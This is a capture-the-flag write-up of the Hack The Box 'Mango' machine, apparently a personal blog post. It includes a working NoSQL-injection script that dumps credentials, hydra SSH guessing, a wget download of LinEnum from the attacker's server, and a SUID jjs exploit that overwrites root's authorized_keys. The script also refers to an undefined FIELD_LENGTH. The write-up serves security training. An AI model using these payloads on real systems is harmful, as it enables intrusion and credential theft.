Post

Hack The Box - Mango

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.162 mango.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ nmap -sV -sT -sC mango.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 13:05 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.48 seconds

Enumeration (1)

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. As for the http service, maybe we can find some information on it ?

Forbidden… Bruteforcing the directory and pages also returned no results :( Lets see if the https service has something for us?

Looks like a copycat of Google’s search engine! But unfortunately it does nothing at all. However, clicking on the “Analytics” button brought us to another page.

The content seems to be from some external websites, which happen to be out of our scope so we can ignore this :)

If we check our nmap results again and look closely at the ssl-cert information under port 443, we realise that there is a subdomain under mango.htb: staging-order.mango.htb. Viewing the certificate via the browser also shows the same domain name.

Lets add staging-order.mango.htb to our /etc/hosts and see if that changes anything.

1
2
3
$ cat /etc/hosts
...
10.10.10.162 mango.htb staging-order.mango.htb

Entering https://staging-order.mango.htb into the browser shows a login screen!

At this time I was kinda stuck because I had no credentials to test with and I even tried using SQL injection, but to no avail :( I decided to consult the forums and got a hint that to think about what database the web app was using and how it relates to the name of this box aka Mango. So I enterd “mango db” into Google and saw this:

I went on to search for MongoDB injection and found this. I then tried to login with some credentials and used Burp Suite to intercept the request. I then modified the request body parameters:

And got redirected to /home.php!

Seems like the web app is vulnerable to NoSQL injections! I then made a script to help me automate the dumping out of the credentials in the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import requests
import string
from urllib import quote_plus
import re

VALID_CHARS = string.printable
URL = "http://staging-order.mango.htb/"
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
MAX_FIELD_LENGTH = 255


def check_valid(payload):
	"""This function returns True if the request results in a successful login"""
	return requests.post(URL, data=payload,headers=HEADERS, allow_redirects=False).headers.get('location', '') == 'home.php'


def enumerate_usernames():
	"""This function returns a list of usernames extracted"""
	list_of_usernames = []

	valid_username_lengths = get_username_lengths()

	for user_len in valid_username_lengths:
		list_of_usernames += get_usernames(user_len)

	return list_of_usernames


def get_username_lengths():
	"""This function returns a list containing the various lengths of the usernames"""
	test_username_length_format = "username[$regex]=^.{{{}}}$&password[$ne]=something&login=login"
	valid_username_lengths = []
	for i in xrange(1, FIELD_LENGTH + 1):
		payload = test_username_length_format.format(i)
		print("[*] Testing for username length: {}".format(i))
		if check_valid(payload):
			# print("[*] Username length found: {}".format(i))
			valid_username_lengths.append(i)
	return valid_username_lengths


def get_usernames(length):
	"""This function returns a list of usernames of the given length"""
	usernames = set()
	test_username_format = "username[$regex]=^{}.*$&password[$ne]=something&login=login"

	while True:
		username = ""
		for idx in range(length):
			for i in VALID_CHARS:
				tmp = username + i
				print "[*] Testing for username: {}".format(tmp)
				payload = test_username_format.format(tmp)
				if check_valid(payload):
					username = tmp
					break

		if username and username not in usernames:
			test_username_format += "&username[$ne]={}".format(username)
			usernames.add(username)
			print("[*] Username found: {}".format(username))
		else:
			break

	return list(usernames)


def get_password_length(username):
	"""This function returns the length of the password corresponding to the given username"""
	test_password_length_format = "username={}&password[$regex]=^.{{{}}}$&login=login"

	for i in xrange(1, FIELD_LENGTH + 1):
		print("[*] Testing for password length: {}".format(i))
		payload = test_password_length_format.format(username, i)
		if check_valid(payload):
			return i

def get_password(username):
	"""This function returns the password corresponding to the given username"""
	test_password_format = "username={}&password[$regex]=^{}.*$&login=login"

	password = ""

	for idx in range(get_password_length(username)):
		for i in VALID_CHARS:
			tmp = password + i
			print("[*] Testing for password: {}".format(tmp))
			payload = test_password_format.format(username, quote_plus(re.escape(tmp)))
			if check_valid(payload):
				password = tmp
				print("[*] Password found: {}".format(password))
				break

	return password



def main():
	"""This is the main function"""
	user_list = enumerate_usernames()
	for username in user_list:
		password = get_password(username)
		print("[*] Found {}:{}".format(username, password))


if __name__ == "__main__":
	main()

It takes a while to run (perhaps optimize using binary search?), but we managed to dump out 2 sets of credentials:

1
2
[*] Found admin:t9KcS3>!0B#2
[*] Found mango:h3mXK8RhU~f{]f5H

The web app doesn’t seem to have any other functionality that we can exploit so lets see if we can try using these credentials on the ssh service!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat user.txt
admin
mango

$ cat pass.txt
t9KcS3>!0B#2
h3mXK8RhU~f{]f5H

$ hydra -L user.txt -P pass.txt ssh://mango.htb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-18 15:17:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ssh://mango.htb:22/
[22][ssh] host: mango.htb   login: mango   password: h3mXK8RhU~f{]f5H
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-18 15:17:41

Using this set of credentials, we can ssh into the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh mango@mango.htb
mango@mango.htb's password:
mango@mango:~$ ls -al 
total 44
drwxr-xr-x 6 mango mango 4096 Apr 18 19:04 .
drwxr-xr-x 4 root  root  4096 Sep 27  2019 ..
lrwxrwxrwx 1 mango mango    9 Sep 27  2019 .bash_history -> /dev/null
-rw-r--r-- 1 mango mango  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mango mango 3771 Apr  4  2018 .bashrc
drwx------ 2 mango mango 4096 Sep 28  2019 .cache
-rw------- 1 mango mango   14 Apr 18 16:34 .dbshell
drwx------ 3 mango mango 4096 Apr 18 18:23 .gnupg
drwxrwxr-x 3 mango mango 4096 Apr 18 16:29 .local
-rw------- 1 mango mango    0 Apr 18 16:34 .mongorc.js
-rw-r--r-- 1 mango mango  807 Apr  4  2018 .profile
drwx------ 2 mango mango 4096 Apr 18 18:31 .ssh
-rw------- 1 mango mango  858 Apr 18 19:04 .viminfo

Where’s the user.txt? Lets see if there are any other possible users on the box.

1
2
3
4
5
6
mango@mango:~$ ls -al /home
total 16
drwxr-xr-x  4 root  root  4096 Sep 27  2019 .
drwxr-xr-x 23 root  root  4096 Sep 27  2019 ..
drwxr-xr-x  4 admin admin 4096 Apr 18 19:26 admin
drwxr-xr-x  6 mango mango 4096 Apr 18 19:04 mango

Seems like admin has the user.txt!

user.txt

Using su and the admin credentials we found in the web app database, we are able to login as admin.

1
2
3
4
mango@mango:~$ su admin
Password: 
$ whoami
admin

Getting the flag was a piece of cake:

1
2
$ cat ~/user.txt
79bfXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration(2)

As usual, I will use LinEnum to enumerate for ways to escalate to root.

Spawning web server:

1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Retrieving the script:

1
2
3
4
5
6
7
8
9
10
11
$ cd /tmp
$ wget http://10.10.XX.XX/LinEnum.sh
--2020-04-18 20:04:09--  http://10.10.XX.XX/LinEnum.sh
Connecting to 10.10.14.217:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: ‘LinEnum.sh’

LinEnum.sh                                     100%[====================================================================================================>]  45.39K  78.8KB/s    in 0.6s    

2020-04-18 20:04:10 (78.8 KB/s) - ‘LinEnum.sh’ saved [46476/46476]

Running the script:

1
2
3
4
5
$ chmod +x LinEnum.sh
$ ./LinEnum.sh
...
[+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

Alright, we can use this executable to escalate our privileges! With the SUID bit set on the file, we can execute jjs as if we are root.

According to GTFOBins, we are able to spawn an interactive shell with elevated permissions:

1
2
3
4
5
$ cd /usr/lib/jvm/java-11-openjdk-amd64/bin/
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
# 

Unfortunately, it did spawn but it just hung there :( So we gotta think of an alternative way to get root shell.

I tried to spawn a reverse shell back to my listener but it didn’t work. However, I realised that I was able to perform very simple commands like “cp” and “mv” but no piping or redirection.

So how about we write to root’s authorized_keys file?

1
2
3
4
5
# cat /etc/ssh/sshd_config
...
PermitRootLogin yes
...
AllowUsers mango root

root.txt

From the above config, we can confirm that we are able to ssh directly into the box as root. To do so, first we’ll need to generate a SSH keypair.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TEPWxxvFEd9AoEM+xQGEYHHyVHuUeSugqKuFihcLCf4 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      =o===+=O*o |
|     . B.oo=B oo.|
|       .+.*o.+ .o|
|.     .o.. +o .  |
|o.   .  S    .   |
|o....            |
| .oo..           |
|..oE.            |
|o...             |
+----[SHA256]-----+

Open the public key/root/.ssh/id_rsa.pub and copy the contents into your clipboard.

Echo it into a file in the tmp directory.

1
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXGz/VwVW7AUU35k3HgAjJ7aYLCgE9miz7g4XvCsB+Bk/0NpQWIcd4PUXe4JSe0CK5Dgj2F5LVnKd6s87HN0v0s8RUcsDEKsnwYhIrHmL8G2nYgEl0Pixj7u67lHJbs1pCFfMP4Aj0pJzUoCHhroqXpkdj6P8/FHUnBKntyo51BXzqemUNrif3joCNF/AbQUTPBFMAHmciN2huxU8Q1E8vmVR3SXZbmKw4ZX8wj8sf49hJDCNm2qpiVNyB4nS8KaShMP69ya0mH9ynF2P0YF4nJJlbHcO/j9jvbK5NNMYQSl/xmyL+9okjExiXFH0yQulpDKWsnZv6s8N9K3ASwWIsyavxc7B1UnqOp2elLuRgLI/3QL5XXEEU+l7s/MJ5l9LTvSWBS4m2e1Xqlye41AJAE38p8qq0wX9q3AefEHlOnOcn5XiQQ9H37cx6dayf9B+gKim1G/KycAiURD8Q/+cNs9KCuS9p8gTdReA9ZMSLQ5dXV+tHd06ENAAPYY/HH58= root@kali" > /tmp/secret

And now overwrite the root’s authorized_keys file!

1
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /tmp/secret /root/.ssh/authorized_keys').waitFor()" | ./jjs

Now, we are able to ssh into the root account using our private key /root/id_rsa:

1
2
3
4
$ ssh -i /root/id_rsa root@mango.htb
...
root@mango:~# cat root.txt
8a8eXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.